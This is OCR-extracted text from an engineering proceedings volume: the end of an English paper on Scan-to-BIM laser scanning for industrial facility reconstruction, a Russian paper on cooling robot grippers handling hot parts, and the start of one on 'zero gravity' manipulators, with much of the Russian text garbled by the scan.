Comparison of LiDAR systems on different platforms [4].
Attribute Terrestrial LIDAR MLS ALS
Point density Dense (>100 pt/m?) Dense (>100 pt/m?) Up to 50 pt/m?
Scanning range Point shape Stripe shape Surface shape
Accuracy High accuracy (mm level) High accuracy (cm level) High accuracy (<15 cm)
Scanning perspective Side view Side view Top view
Sensors Laser scanner GNSS, IMU, laser scanner GNSS, IMU, laser scanner
Advantages Provides the highest level Provides fagtfer data, Suitable for large area
of detail reduces acquisition time
Disadvantages Not suitable for large Absolute accuracy is low Expensive for small project
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infrastructure because the satellite signals sites
are blocked by buildings

Terrain mapping, vegetation
monitoring, power line
detection, bathymetric
applications in shallow

water

Small area 3D HD mapping, urban

Applications reconstruction monitoring, road mapping

Integrating data collected through laser scanning into design processes requires the use of
specialized software. The most common tools include Autodesk ReCap, Trimble RealWorks,
and Leica Cyclone, which enable the processing of point clouds and their export into BIM
systems such as Autodesk Revit or ArchiCAD.

Special emphasis is placed on training professionals working with point cloud processing
software and BIM model creation. A key factor for success is interdisciplinary collaboration
among designers, engineers, and builders to fully leverage the potential of Scan-to-BIM
technology.

Scan-to-BIM serves as a powerful tool for enhancing the accuracy, efficiency, and safety
of industrial facility reconstruction. Its application improves the design process and secures high-
quality lifecycle management of the asset, which is increasingly critical in addressing modern
challenges in the construction industry.

Analysis of increasing design accuracy with Scan-to-BIM

Scan-to-BIM technology represents an important tool in design, providing high precision
and detailed digital models essential for the execution of complex construction projects. Its
application can be significantly important in the reconstruction of industrial facilities, where
numerous technical nuances and characteristics of existing infrastructure must be considered.

One of the primary causes of design errors is the discrepancy between the actual
condition of a structure and the available documentation. Scan-to-BIM technology eliminates
this issue by providing accurate data on the geometry and condition of structures. Laser scanning
captures the smallest details of the object, including surface irregularities, structural deviations,
and wear on engineering systems.

After data collection, the point cloud is transformed into a parametric model that reflects
all aspects of the object, including geometry, materials, and current damage. This enables
designers to work with reliable information, avoiding errors caused by insufficient detail. For in
the reconstruction of industrial facilities, this can essential when designing new engineering
systems or upgrading equipment, where even minor deviations can lead to significant
consequences.

The accuracy of data provided by Scan-to-BIM allows for a detailed analysis of design
solutions during the planning phase. One of the key tools is clash detection — identifying
situations where different elements of the design model intersect or conflict with each other [5].
This could involve the intersection of pipelines or discrepancies between design solutions and
existing infrastructure.

Software within BIM automatically detects such inconsistencies, enabling adjustments to
the design before construction begins. This significantly reduces the risk of costly rework,
enhances the efficiency of design solutions, and shortens project timelines. In industrial facilities,
where engineering systems often have complex structures, this approach optimizes equipment
layout, improves accessibility for maintenance, and minimizes the risks of unauthorized
interference with existing infrastructure.

The quality of design documentation directly influences the success of reconstruction
projects. The use of Scan-to-BIM ensures the creation of detailed and accurate drawings,
schematics, and specifications that reflect the actual conditions of the object [6]. Such
documentation facilitates collaboration among project participants by providing a unified
information environment.




-162- JIlendenyuu paseumus HAyKu u obpasosanis

The integration of this technology with computer-aided design (CAD) systems enables
the creation of documentation that includes not only geometric information but also data on
technical specifications, materials, wear, and other aspects of structural elements. This is
particularly critical for industrial facilities, where the details of design documentation are
essential for securing operational safety.

In addition to high accuracy, models created using Scan-to-BIM offer exceptional
adaptability. They can be updated in real time, incorporating changes as reconstruction
progresses. This eliminates risks associated with outdated documentation and increases
confidence in the outcomes of design solutions.

Scan-to-BIM technology significantly enhances design quality by eliminating errors,
detecting clashes, and improving the accuracy of design documentation. In the context of
industrial facility reconstruction, this becomes particularly critical, as such projects require a high
level of detail and consideration of multiple factors. Scan-to-BIM optimizes design processes
and provides a comprehensive approach to reconstruction management, ensuring its successful
implementation.

The application of Scan-to-BIM for industrial facility reconstruction

Reconstruction of industrial facilities is one of the most complex and labor-intensive
tasks in the construction industry. These projects require careful consideration of the current state
of the facilities, their infrastructure, and specific modernization requirements. Scan-to-BIM
technology has become an essential tool for effectively addressing these challenges. It is applied
across a wide range of industrial facilities, including factories, warehouse complexes, energy
infrastructure, and transportation hubs [7].

Research analyzing a live construction project demonstrated how the integration of these
technologies enhances data accuracy, optimizes as-built models, and improves project outcomes.
Despite challenges such as site obstructions and the need for specialized equipment and skills,
the findings confirm that combining laser scanning and BIM significantly impacts information
management and overall project performance, offering a practical approach from design to
maintenance.

The use of Scan-to-BIM in industrial facility reconstruction enables high-precision
modeling and optimization of design processes. One of the key features of such facilities is their
complex infrastructure, which includes engineering networks, production equipment, and
technological lines. Traditional surveying methods often fall short of providing the accuracy
needed for reconstruction projects.

Laser scanning allows for the creation of a complete digital representation of the facility
in a short time. This is particularly important for facilities operating in continuous mode, where
halting processes for measurements can lead to significant financial losses. Scanning is
conducted remotely, without interfering with the facility's ongoing operations, making the
process both safe and cost-effective.

Energy facilities, such as power plants, substations, and thermal networks, represent a
distinct category of industrial facilities where precision and reliability in design are of critical
importance. These facilities are characterized by their large scale, complex engineering systems,
and high levels of infrastructure wear. Scan-to-BIM accurately captures the state of energy
facilities, including equipment, pipelines, cable routes, and other elements. For example, during
the reconstruction of a power plant, it is vital to account for the exact placement of every
infrastructure element to avoid overlaps and ensure the safe installation of new equipment.

Epicon successfully applies Scan-to-BIM technology in the reconstruction of various
industrial facilities [8]. During the technical upgrade of the gas distribution and consumption
system at a thermal power plant in Moscow, the company’s specialists used laser scanning to
accurately reproduce existing pipelines and metal structures in the form of a BIM model. This
approach helped reduce both the time and budget required for the technical upgrade project.

Studies on general construction projects also emphasize the contribution of integrating
laser scanning and BIM technology to improving construction processes [9]. Research analyzing
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a live construction project demonstrated that this integration enhances data accuracy, optimizes
as-built models, and improves overall project outcomes.

The application of Scan-to-BIM technology in industrial facilities demonstrates its
significant potential to improve design accuracy and reduce project timelines. By enabling
detailed analysis of existing infrastructure, this technology becomes a key tool for reconstructing
facilities of any complexity, including energy facilities. In the future, its use will lay the
foundation for the implementation of more advanced digital solutions in the lifecycle
management of industrial facilities.

Conclusion

Scan-to-BIM technology is becoming an essential tool for optimizing design processes in
the reconstruction of industrial facilities. Its use enables high-precision design, minimizes errors,
and significantly reduces time expenditures. Laser scanning and photogrammetry, as key data
collection methods, provide detailed representations of existing conditions, which is particularly
important for complex and energy-intensive facilities. Integrating these technologies into design
activities enhances project management efficiency, improves the quality of solutions, and creates
digital models that serve as a foundation for the future operation and modernization of facilities.
The implementation of Scan-to-BIM underscores its importance as a pivotal stage in the digital
transformation of the construction industry.
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PA3JIEJI XXV. MAIIMHOCTPOEHHUE

KouerkoB B.O., Uusixun A./l., Iloaeraes U.10.
3ammTa 3aXBaThIBAIOLIUX YCTPOHCTB POOOTOB NP padore ¢ paCKAJEHHBIMH 1eTAJIAMU
HA METAJLIyPru4ecKHuX npeanpusTusx.

Huoicecopoockuti cocyoapcmeennvlil mexuuyeckuti ynusepcumem um. P.E. Anexceesa
(Poccus, Huscnuit Hos2opoo)
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AHHOTaNUS

B nanHO# cTaThe paccMaTpUBAIOTCS CIOCOOBI 3aIUTHI U OXJIAXICHUS 3aXBAThIBAOIINX
YCTPOWCTB TPOMBIIUICHHBIX UM  KOJUIAOOpaTUBHBIX POOOTOB B  YCIOBHSIX pPabOTBI ¢
pacKal€HHbIMU JleTalsAMU. Takke mogHMMaeTcss BoONpoc A(PQPEKTUBHOCTH U yHA0OCTBa
peanu3anyy ONMHMCAHHBIX CHOCO00B. BymyT paccMOTpeHBI Kak aKTHUBHBIC, TaK M IACCHUBHBIC
CIIOCOOBL.

KiroueBble ci10Ba: 3axBaThIBAIOIIEE YCTPOIMCTBO, 3aliUra OT TEMIEpartyp,
MPOMBIIUICHHAs! pOOOTOTEXHHUKA, METAJLUTYprHsl, ropsiyast IITaMIIOBKA.

Abstract

This article discusses ways to protect and cool the gripping devices of industrial and
collaborative robots in working conditions with incandescent parts. The question of the
effectiveness and convenience of implementing the described methods is also raised. Both active
and passive methods will be considered.

Keywords: gripping device, temperature protection, industrial robotics, metallurgy, hot
stamping.

Bsenenue

[lepen kaxapM MpeanNpUSTHEM CTOUT OOJBLIONW CHEKTp 3ajJady, HO B KayecTBe
NPUOPUTETHBIX MOKHO BBIJIEITUTH ONTHUMHU3AIHMIO TPOM3BOACTBEHHBIX MPOIIECCOB U YBEIUYEHHE
ux 3QGEKTUBHOCTH, a TaKke oOecTieueHrue 0e30MmacHOCTH Tpyaa paboTHUKOB. OCOOEHHO OCTPO
3TOT BOIPOC CTOUT HA METAJUTYPTrUUECKHX MPEATPUATHAX, T1€ KOHLIEHTPAIMs BPEIHBIX BEIIECTB
B BO3JlyXE MPEBBIIAET HOPMBI, a TEMIIEpaTypa JOCTHraeT KPUTUUECKUX 3HaueHuil. B HOBbIX
peanusXx MHOTHE HpPEANpUSATHS MEPeXOIIT C Tpylda YeloBeka Ha Tpyd poOoTa, OJHAKO U B
AKCIUTyaTaluu poOOTOB €CTh CBOU HIOAHCHI.

[lpn pabGore c packajd€HHBIMH JETAISIMH, 3aXBaThIBAIOIIEE YCTPOMCTBO poboTa
MOJIBEPraeTcsl HarpeBy N0 KPUTUYECKUX TEMIIEpaTyp, YTO MOXKET MpHUBECTH K Auddy3un
MaTepHasioB, a OHA, B CBOIO OYEPE/b, IPUBOANUT HE TOJIBKO K MOBPEKIECHHIO JIETAIH, HO U TIOpUYE
noporocrosimiero 3axpara. IloaTomy Haumbonee OCTpbIM BONPOCOM  SIBJISIETCSI HWMEHHO
oXJIaK/ieHHe pabodyero opraHa, OCHOBHAS 3aJadya KOTOPOTO HE TI03BOJIMTH CUCTEME TIOCTHTHYTh
TeMIIepaTyp, CIOCOOHBIX M3MEHHUTH (PM3UUECKUE CBOMCTBA MaTepuasia ry0oK 3axBara.

OcHoBHasl 4acTh

[TaccuBHOE OXJIaXKIEHHE 3aXBaTHIBAIOIIETO YCTPOICTRA.

[TaccuBHOE OXJ1aXk/I€HUE ITPUMEHSIET ECTECTBEHHBIE METObI TEIJIOOTBEACHUS, TAKHE KaK
KOHBEKIIMS, TEIJIONPOBOAHOCT, M M3mydeHue. OHO mMoapa3yMeBaeT — HCIOJIb30BaHUE
TETUIOOTBOAOB, PaIMaTOPOB WIIM OCOOEHHOCTEH KOHCTPYKIIHH, CTIOCOOCTBYIOIIMX PACCEHBAHUIO
Teria.

IIpenmyiuecTsa:

. ABTOHOMHOCTB: He TpeOyeT aneKTposHepruu, cXaToro Bo3ayxa, Macia u T.1,
YTO JAENaeT CcUcTeMy OoJiee MpeacKazyeMod U 3KOHOMHUYHON. OcoOeHHO
aKTYyaJIbHO ISl CUCTEM, pabOTaIOIINX OT aKKyMYISTOPOB.
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. JI€rkocth: He TpebyeT AOmOTHUTETHLHOTO OO0OPYAOBaHUS ISl OOECTICUCHUS
OXJIOKICHHS, TEM CaMblM HE CHIDKAeT TOTCHIUAIBHYI0 PadodyIo
TPY30HOJIbEMHOCTH CUCTEMBI.

. Bectrymnocts: PaGoTtaet GeciryMHO, 4TO MOKET OBITh BaKHBIM B HEKOTOPBIX
CIICHapUsX TNpPUMEHEHHs] (Hampumep, B IPOBEAECHHE MCCIEI0BATENIBCKIX
paboT WK CUCTEMaX C aKTUBHBIM y4acTHUEM YeJIOBEKa).

HenocraTtku:
. MennenHoe pearnpoanue: IlacciBHOE OXJlaXx/1€HHE HE CIIPABUTCSI C PE3KUMMU
CKaYKaMH TEMITepPaTyphbl WJIM HHTEHCUBHOU PabOTOiA.
. OrpannuenHas 3¢dexkTuBHOCTh: D(PHEeKTUBHOCTH 3aBUCHT OT OKpYKaIOIIeH

Cpelbl, B YCIOBUSAX BBICOKOM TeMIepaTypbl cpellbl WM HU3KOM LUPKYISIUN
BO3/lyXa CUCTEMA MOXKET OKa3aThCsl HEIOCTATOYHOIA.

. 3aBUCHMOCTh OT KOHCTpPYKIMHU: TpeOyeT TImATeTbHOr0 MPOSKTUPOBAHUS IS
o0ecrieyeHns] JTOCTATOYHOTO TEIIOOOMEHa, a TakKe JIOMOJHHUTEIBHBIX
BJIO’KEHUI B IPOU3BOJICTBO M3-32 YCIOXKHEHHS KOHCTPYKIIUH.

[lpy mpoeKTHpOBaHMM 3aXBaTHIBAIOIIETO YCTPOWCTBA M pabOYero IMKIa B TEPBYIO
odyepelb ClIeAyeT YYWUTHIBaTh HMEHHO [aCCHBHOE OXJaXJEHHEe, MOITOMY HIKe OyayT
MIPUBEJICHBI TIEPBOCTEIICHHBIE MEphI, KOTOPBIE CIEAYeT MPHUHATH Ui YCTPaHEHHs IMPOOIeMBbI
Harpesa.

CampBIM TIPOCTBIM, HO TIPY ATOM OJHHUM M3 TJIABHBIX PEUICHUH SBISIETCS ONTHMH3ALINS
pabouero nukina pobota. Ilpu paboTe B 0COOEHHO CIOXHBIX Ul 3aXBaTa YCIIOBHUSX, BaXKHBI
JI0JT CEKYHIIBI, TOTOMY IIMKJ IBIDKEHUST pOOOTA TOJDKEH 00ECTICUNBATECS 33 CUET TPASKTOPHIA,
TpeOyIOUIMX MUHHMAJIbHOE BpeMs Ha IEpeMEeIleHHe, Ja)XXe eCIM TaKT BbITyCKa W3AEIHs
MO3BOJISIET paboTaTh B CIIOKOWHOM pHUTME. TeM caMbiM MBI MUHHMH3UPYEM BpeMs KOHTAaKTa C
pacKal€HHOM 3arOTOBKOM M CHU3UM TEMIIEpaTypy HarpeBa Ha HECKOJBKO JIECSITKOB IPAIyCOB.
Pa3ymeercst, 5T0 HEBO3MOKHO Ha3BaTh PEIICHUEM MPOOJIEMBI MPU BBICOKHUX TeMIIepaTrypax, HO
3TO HEOOXOAMMO YUHUTHIBATh MPH Pa3padOTKe NPOrpaMMBbl yIIPABICHHS.

JlocTaTO4HO OYEBUIHBIM, HO HEOOXOAMMBIM pEIICHHEM, SIBISICTCS IPUMEHEHHE
TEPMOCTOMKHX MaTepHaoB. BOIBIIMHCTBO 3aXBaTOB HE MpeAycMaTpUBaeT paboTy ¢ BHICOKUMHU
TeMIlepaTypamMH, TI03TOMY BaXKHO BBIOpATh TPABWIBHBIA MaTephal H3TOTOBICHHS T'yOOK
3aXBaTBIBAIOILETO YCTPOICTBA, KOTOPBIM CMOXET paboTaTh C BBICOKMMH TeMIlepaTypamu, 0e3
3HAYUTEJILHOTO HarpeBa.

Jns Tex cimy4aeB, Korja OMOKET OrpaHHWYeH, MOXKHO IPUMEHUTHh OXJIaKIECHHE
CIIOKOWHBIM BO3[yXOM, T.€. TPOCTO OJjlarogapsi TEII00OMEHy, HO 3TOT CIOCOOOM SIBIISIETCS
Masiod(PEKTUBHBIM U KPUTUYECKH CHU3UT TaKT IUKJIA, T.K. IPH Temmeparypax ctaiau 650-550
rpanycoB Llenbcnsi, CKOpOCTh OXJIaXIeHHUs puMepHo 3 rpaayca no Llenscuto B cekyHy, a npu
temneparypax 300-200 rpagycoB Llenbcusi, cKOPOCTh OXJIQXXIEHHMS AOCTUraeT 1 rpagyc mno
Lenbcwuro.

Ecniu Mb1 pa3pabaTbiBaeM 3axBaT C HyJs, TO HMEET CMBICI CO3/1aTh 3axBar
HECTaH/IAPTHOW KOHCTPYKIMH, HallpUMep, 100aBUB B €ro T'YOKH OTBEPCTHS Ul BEHTWIALUM, a
TaKKe MOAYMATh HAJ TOKPHITHEM €ro TyOOK TETUIOM3OJIMPYIOMIUM CIIOEM. DTO IO3BOJUT
CHM3UTH HarpeB Ha JIOJII0 MPOIIEHTOB.

Crnoco0ObI aKTUBHOTO OXJIAXK/ICHHS 3aXBaTHIBAIOIIETO YCTPOHCTBA.

[TaccuBHBIE CHOCOOBI OXJTAXKACHUS MOYTH HE TPEOYIOT BIOKEHHUH, OIHAKO SIBIISIOTCS
MasIod(PEKTUBHBIMU, U HE CMOT'YT 00ECTICUUTh TPEOYEMYIO CTETICHb 3aIlMTHI OT HAarpeBa, Koraa
uAET peub O JUIMTENbHON padoTe ¢ packan€HHOM aetanbio. B aTom ciyuae He oboiftuch 0e3
AKTUBHOT'O OXJIQXKICHUSL.

AKTUBHOE OXJIQXKICHHE B 3aXBaThIBAIOUIMX YCTPOWCTBaX pOOOTOB MOJpa3yMeBacT
WCIIONIb30BAaHUE MEXaHM3MOB, TAaKMX KaK BEHTWJATOPBI, HACOCBL, KOMIIPECCOPHI MM
TEPMODJIEKTpUUECKUE oxyaauTenu (Hampumep, [lenbTee), Ma ynaneHus U30BITOYHOTO Teria.
3TO MO3BOIISIET OAEPKUBATH TEMIIEPATYPY pabovero opraHa B ONTUMAIBHOM JHANa30He.
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[Ipeumyinecrtna:

D¢ heKTUBHOCTD: AKTUBHBIE CHCTEMBI CIIOCOOHBI CHIDKATh TEMIIEPATypy
KpaTHO OBICTpee MACCHBHBIX CHUCTEM, YTO MO3BOJISIET paboTaTh MPH BBICOKMX
TeMIiepaTypax, He Tepsisi B TeMIie paboThl CUCTEMBI.

Bo3morknoCTh aBTOMaTH3anmu: [103B0JISET BBECTH aBTOMATHUYECKYIO CHCTEMY
KOHTpPOJIS, OCHOBAaHHYI0 Ha JaT4MKax, KOTOpas IO3BOJIUT  TOYHO
PEryIupoBaTh TEMIICpAaTypy 3axXBaTBIBAIOLIETO YCTPOWCTBA, HCKIIOYAs
U3JIMIITHKE 3aTPAThI HA XOJOCTYIO PadOTy OXJIaXIArOIIEeH CUCTEMBI.
AnantuBHOCTE: ECTh BO3MOXKHOCTB a/IaliTUPOBATH CHCTEMY OXJIAXKIICHUS TIO]T
pa3nuyHble THUIBl JETAId U TEMIEpaTypbl 0e3 HM3MEHEHUs KOHCTPYKIIWH,
MEHSISI MOIITHOCTh MJTH OXJIAXKJTAFOLITYIO CpeLy.

HenocrtaTku:

©)

OueprozatpaTbl: TpeOyeT NOMONHUTEIBHBIX PECYPCOB sl pabOThI CUCTEMBI,
YTO MPUBOJUT K TMOTEPE ABTOHOMHOCTH M YBEJIMYMBAET 3aTpaThl Kak
(buHAHCOBBIE, TaK U SHEPrOPECYPCOB.

CnoXXHOCTh KOHCTPYKIIMHU: YBEIUMYMBAET BEC U CJIOXKHOCTH CHUCTEMBI, YTO
CHIDKaeT pabouylo Tpy30HNOAbEMHOCTh U YBEIMYMBAeT rabaputel, a,
CIIEIOBATENIbHO, CHMKAET MOOWJIBHOCTh M MaHEBPEHHOCTh  po0OTa,
YBEJIMUMBAs HATPY3Ky Ha COWICHEHHSI.

*Bricokass ctoumMoctb: [lokynka TOMOMHUTENBHBIX CHUCTEM, 3HAYUTEIHHOE
YCIOXKHEHHUE KOHCTPYKIIMA W TIOCTOSHHBIE JOMOJHUTENIBHBIE 3aTpaThl Ha
obecrieyeHne OXJIAXKIAIONIE Cpelbl MPUBOAAT K POCTY CeOECTOMMOCTH
POOOTOTEXHUUECKOTO KOMITIEKCA M TPOU3BOIMMON JIETAIIH.

Hike MpeACTaBJICHBI OCHOBHBIC KOHICTIIIUH AKTHUBHBIX CUCTEM OXJIAXKIACHUA.

1.

Bozgyx mon nmaBmenumem. Hambonee akTyanbHO Tmpu  pabote ¢
MTHEBMATHUECKUMHU  3aXBaTaMd. MOXHO UCHOJNB30BaTh YK€ TOTOBYIO
MTHEBMATHUYECKYIO CHCTEMY, J100aBUB OT/IEIbHbIC PETYIUPYEMbIe BBIXOABI IS
oxyaxxaeHus. [lotoka Bo3myxa oOecreurBaeT CKOPOCTh OXJIAXKICHHS OKOJIO
30 rpamycoB B CeKyHAY. DTO mpocToil U 3(pPeKTUBHBIA METOM, KOTOPHIA HE
BBI3BIBACT PE3KHX TEMIIEPATYPHBIX CKAUYKOB, HO MOXXET OBITh HEIOCTaTOUYECH B
HEKOTOPBIX CUTYalIUsX.

Termmooomennuk. OmHMM W3 BapuUaHTOB  SIBJSIETCA  TNPUMEHEHHE
UPKYIUPYIOIIEH OXJIaXIAIOMIeH KUIKOCTH B TPYOKaX, MPOXOISAIIUX BHYTPU
WIA CHapyXd TyOOK 3axBaTa. JTO TO3BOJIIET MOJJIEPKUBATh CTAOMIBHYIO
TEMIIEpaTypy 3a CUET TeII000MEeHa MEXKIY I'yOKaMH U SKUAKOCTBIO. JlaHHBIH
BapuaHT TpeOyeT OOJIBIINX KOHCTPYKTHBHBIX BMEIIATEIILCTB B CHCTEMY,
YBEIMUMBAET €€ pa3Mephl U BEC, OHAKO UMeeT OONbIIyI0 3QPEeKTUBHOCTH, B
CpPaBHEHHWH C BO3IYIIHBIM OXJAKICHUEM | TIO3BOJSET TIOICPKHUBATH
HEOOXOMMYIO TeMIIEpaTypy 0e3 pe3KUX U3MEHEHHH.

BonsHoe opomienue. Pabotaer mo Tomy ke MPHUHIIMITY, YTO M OXJIAXKICHUE
BO3AYXOM TIOJl JABJICHMEM, HO B IIHEBMOJIMHUIO MOAAETCS HEKOTOPOE
KOJIMYECTBO BOJIbI, TEM CaMbIM yBeIMUYMBAeTCs 3(PHEKTUBHOCTH OXJIAKACHUS
3a cuéT co3naHus ucnaputenbHoro agdexra. Ho takoit cnocod moaxoaur B
TOM CiIydae, KOrjJla MeTaul HMMEET JIOCTaTOYHYI CTENEHb 3allUThl OT
KOppO3HHU.

[TorpyxeHue B oxJiakaaronyto cpeay. st oximaxaeHus: HCIOIb3YEeTCs Tapa ¢
BOJIOM WJIM MaciioM, B KOTOPYIO TMOJHOCTBIO OITyCKAeTCsl ropsiyas 4acTb
3axBara. CKOpOCTh oxJjaxaeHus Boaon gocturaet 600 rpaaycoB B CEKYHIY.
DTO MO3BOJIUT OBICTPO OXJIAJIUThH MEPErPETHIN 3aXBaT, HO MPHU STOM SIBIISIETCS
HEKEJIaTeTIbHBIM CIIOCOO0M, T.K. IUKIMYHOE, Pe3KOe U3MEHEHHE TeMIIepaTyp
MOJKET MPHUBECTH K TEPMHUECKOMY IIIOKY MaTepuasa, a CJeAOBaTEeNIbHO, K
U3MEHEHUIO (DU3NYECKUX CBOMCTB I'yOOK 3axBaTa M HMX BBIXOJ M3 CTpOS.
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SBnsiercst caMbIM OFOJKETHBIM CpEIM BCEX IMEPEUYHCICHHBIX, T.K. TpeOyeT
JIMILB Tapy € 5KUIKOCTbIO.
3aKIoucHue
OnTUMaNbHBIM PEIIEHUEM ISl OXJIAXKIEHUSI CUCTEMBI SIBJISIETCS COUETaHUE MAaCCUBHOTO
M aKTHBHOTO OXJIXJIEHUsA. [ paMOTHO mpopaboTaHHasi KOHCTPYKIIMS M BHIOpaHHBIA MaTepHal
MO3BOJIAT CUCTeME OBITh YCTOWYMBOM K TOYEYHBIM TEPMHUYECKUM H3MEHEHHSIM, a aKTHBHAS
YacTh 3alIUTHT OT IEperpeBa HEKOHTAKTHOW YacTWU. EIWHOrO YHHBEPCAIBHOTO PEIICHHS B
TaKUX CI/ITyaI_[I/ISIX HECT, T.K. KaXJasd CUCTCMa YHI/IKaJILHa )41 I[O63BJI§I€T CBOM BBOJHBIC, OJHAKO,
TIPHUJIEPKUBASICH OOIIMX TPHUHITUTIOB.

*k*

1. "Springer Handbook of Robotics", Siciliano B., Khatib O., 2008 .
2. «Fundamentals of Robotic Mechanical Systems: Theory, Methods, and Algorithmsy, J. Angeles, 2014 .
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AHHOTAIINA

B nanHOi1 cTaThe paccMaTpUBAIOTCS CIIOCOOBI MPUMEHEHUS] MAHUMYJISITOPOB «HYJIEBOU
IPABUTALIMM» B MPOMBIIUIEHHBIX YCIOBUAX. PaccMOTpeH BOIPOC BO3MOKHOCTEH U
MIPEUMYILECTB, KOTOpbIE JAa€T NPUMEHEHUE Takoro ycrpoucrsa. llogHumaercs Ttema
AKTYaJIbHOCTH JTAHHOTO OOOpPYIOBaHMS B COBPEMEHHBIX pEaHsxX, a Takke (UHAHCOBON
[ENIeCO00Pa3HOCTH MOKYIKH U SKCILTYaTaI|H.

KuroueBbie ciaoBa: Manumynstop «HyneBod rpaBuTanyny, TPOMBIIUIEHHOCTD,
TSOKETIBIE TPY3bI, POOOTOTEXHUKA, TOMOIIIb YEJIOBEKY, aBTOMATH3AIHS.

Abstract

This article examines the ways to utilize "zero gravity" manipulators in industrial
environments. It discusses the capabilities and advantages offered by such devices. The
relevance of this equipment in modern realities is addressed, as well as the financial feasibility of
purchasing and operating it.

Keywords: "Zero gravity" manipulators, industry, heavy loads, robotics, assistance to
people, automation.

Bsenenue

[IpoMblllIJIEeHHBIE MaHMITYJSTOPHl  "HYJAEBOW TpaBUTAMH' — 3TO YCTPOWCTBA,
MpeHa3HAYCHHBIC JJIs1 OOJIErYeHHs MePEeMEIIeHUs] M MAHUTYJISIIIUU C TSOKEIBIME MPeIMETaMu B
MPOU3BOJACTBEHHOW cpeae. JlaHHas TeMa akTyalbHa UI8 MPEANpPUATANA, HA y4acTKax
TEXHUYECKUX IPOIIECCOB KOTOPHIX HEOOXOIMMa MEXKIIPOLIECCOPHAst JIOTHCTHKA OOBEKTOB, IS
MEepeMEeIleHHs KOTOPBIX CHJI OOBIYHOIO YEeJIOBeKa HEIOCTaTOYHO. MaHUMYNIATOp «HYJIEBOMN
TpaBUTALlU» CIIOCOOCH KOMIIGHCHUPOBATh CHIYy TSDKECTH, TeM CcaMbiM Jenas OOBeKT
«HeBecoMbIM». Takoe yCTpOCTBO CHOCOOHO CTaTh HE TOJIBKO MOMOIIHUKOM PaOOTHUKY, HO U
OBITh YaCThIO ABTOMATU3UPOBAHHOM CHCTEMbBI, AKTUBHO B3aUMOJICHCTBYS C pOOOTaMH.

OcHOBHas 4acThb

CTOMMOCTB CUCTEMBI.

MaHunyIsTOphl «HYJIEBOW IPABUTALIMNY - CIOKHOE TEXHUUYECKOE YCTPONCTBO, IO3TOMY
€ro LeHa JOCTUTACT 3HAUYUTEIBHBIX CYMM, OHAKO CTOUT OTMETHTh, YTO, OOBIYHO CHCTEMa HE
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aBTOMATHU3MpPOBaHA WJIM YaCTHYHO-aBTOMATU3MPOBaHA, MOATOMY €€ CTOMMOCTh 3HAYUTEIHHO
HIDKE, YeM Y TIPOMBIIIICHHBIX POOOTOB C TOH e IPy30M0IbEMHOCTHIO.

K mpumepy, Ha BaKyyMHBI MaHHITYJIATOP «HYJICBOW rpaBHTAlUM» Mojaenu «Schmalz
SK-KZG-1000», ¢ rpy3onoabéMHOCTBIO 10 950KT, OpUEHTUPOBOYHAS 1I€HA MOXET JOCTUTATh
10 15.000 gomnapoB CIILIA B 3aBUCUMOCTH OT KOHKPETHOW MOJIEIM M KOMIUIEKTalMu. B cBOtO
oyepenb, IIEHBI Ha TPOMBIIUICHHBIE POOOTHI C TOH K€ TPY30HNOABEMHOCTBIO, YTO U
manumysitop, ot kommannii KUKA momenmn «KR 1000 titan» u Fanuc moaemu «M-2000/900F-
47 Ay, Bapsupyrorcs ot 100.000 1o 200.000 monmapos CIIIA, B 3aBUCUMOCTH OT KOH(PUTyparuu
Y JTOTIOJTHUTEIIBHBIX OIIIH.

CpaBHHMB I1IEHOBbIC JHANa3OHbl, MOXXHO 3aMETUTh, YTO IICHBI Ha BaKyyMHBIN
MaHunyasTop B 10 pa3 Huke, 4eM CpelHss 1leHa Ha MPOMBIIUIEHHOTO TPY30MOABEMHOTO
pobota. OOCITy>)KUBaHHE U PEMOHT MAHUMYJIATOpPa OyAeT TakKe JEIIEBJIE MPOMBIILIIEHHOTO
pobota, Mo TOH TMpPUYMHE, YTO YCTPOWCTBO poOOTa CIIOXKHEE, a COOTBETCTBEHHO
KOMITJICKTYIOIIHE O0OHIYTCS JOPOKE.

bezomacHoCTh 1 KOJIaOOPATUBHOCTD.

[ToMrMO CTOMMOCTH CHCTEMBI HE CTOMT 3a0bIBaTh O TOM, YTO CHCTEMa paboTaeT B IEXY,
OOCITy’)KMBaeT KOTOpBIM TepcoHall KommaHuH. [loaToMy BakKHO y4YMTHIBAaTH BOIIPOC
0€30IacHOCTH U BO3MOYKHOCTbH paOOThI CHCTEMBI 0JIN3 YeIOBEKa.

[TpompblnneHHbI poOOoT, a 0OCOOEHHO € BBICOKOI TPY30MOIBbEMHOCTBIO, SBISIETCS 0CO00
OTIACHBIM YCTPOMCTBOM, CIIOCOOHBIM HAHECTH TSKETbIE TPaBMbI WM YOUTH YelnoBeKa. TecHoe
COTPYIHUYECTBO C YEJIOBEKOM HEBO3MOXKHO. POOOT He mpemosnaraeT MpUCyTCTBUE YETOBEKa,
OH TMOJpa3yMeBaeT MOJHYIO ABTOMATH3ALMIO LHUKJIA, TO3TOMY pPOOOTOTEXHHYECKas syerka
OTOPAYKUBAETCS CIEIHATIBHBIM OTPATUTEIBHBIM 3a00pOM C ONTHYECKUMHU JaTYUKaAMH, TpPU
MepeceyeHny JIMHUM KOTOpOrO CHCTeMa o00s3aHa OCTaHOBUTHCS. Ecimu ke Ha ydacTke
HEOOXOUMO MPUCYTCTBUE YEIOBEKA, TO UCTIOIB30BaHHE POOOTOTEXHUYECKOM SIUCHKU SBISIETCS
HEBO3MOKHBIM.

[TpOMBIIITICHHBI MaHUITYISTOP «HYJIEBOW TpaBUTAIlMM», HE CMOTpPS Ha CBOIO
TPY30MOIBEMHOCTD, HE CIIOCOOCH HAHECTH TSDKKMH Bpea YeJIOoBeKy caM 1o cebe, T.K. ero
MOIITHOCTh COCPEJOTOYEHA B HEMOJBMKHOM OCHOBAHUH, a UMITYJILC MPHOOPETAETCS TOJIBKO C
Harpy>KeHHOU JieTanbio. CHCTEMBI ¢ HEOOJNBIIONW TPY30MOABEMHOCTBIO 3a4acTyi0 PadOoTaloT C
TIOMOIIIBIO YeJIOBeKa, 0e3 KakoH-TuO0 aBTOMATHKH, TIO3TOMY 3aKPEIUIATh TPy3 B MAHUITYISATOPE,
TIOJTBOJTUTH MAHHITYJISITOP K TPY3Y U IIEpeMeIaTh K TOUKE Ha3HAUYCHHS MOYKET UMEHHO YEJIOBEK.

XoueTcss O0COOEHHO OTMETHTh, YTO HCHOJNB30BaHHE TAaKOW CHUCTEMBI CHOCOOHO
MIPEJOCTaBUTh pabodee MECTO MAaJIOMOBMKHBIM JIIOJIIM C OTPAaHMYCHHBIMH BO3MOYKHOCTSIMH,
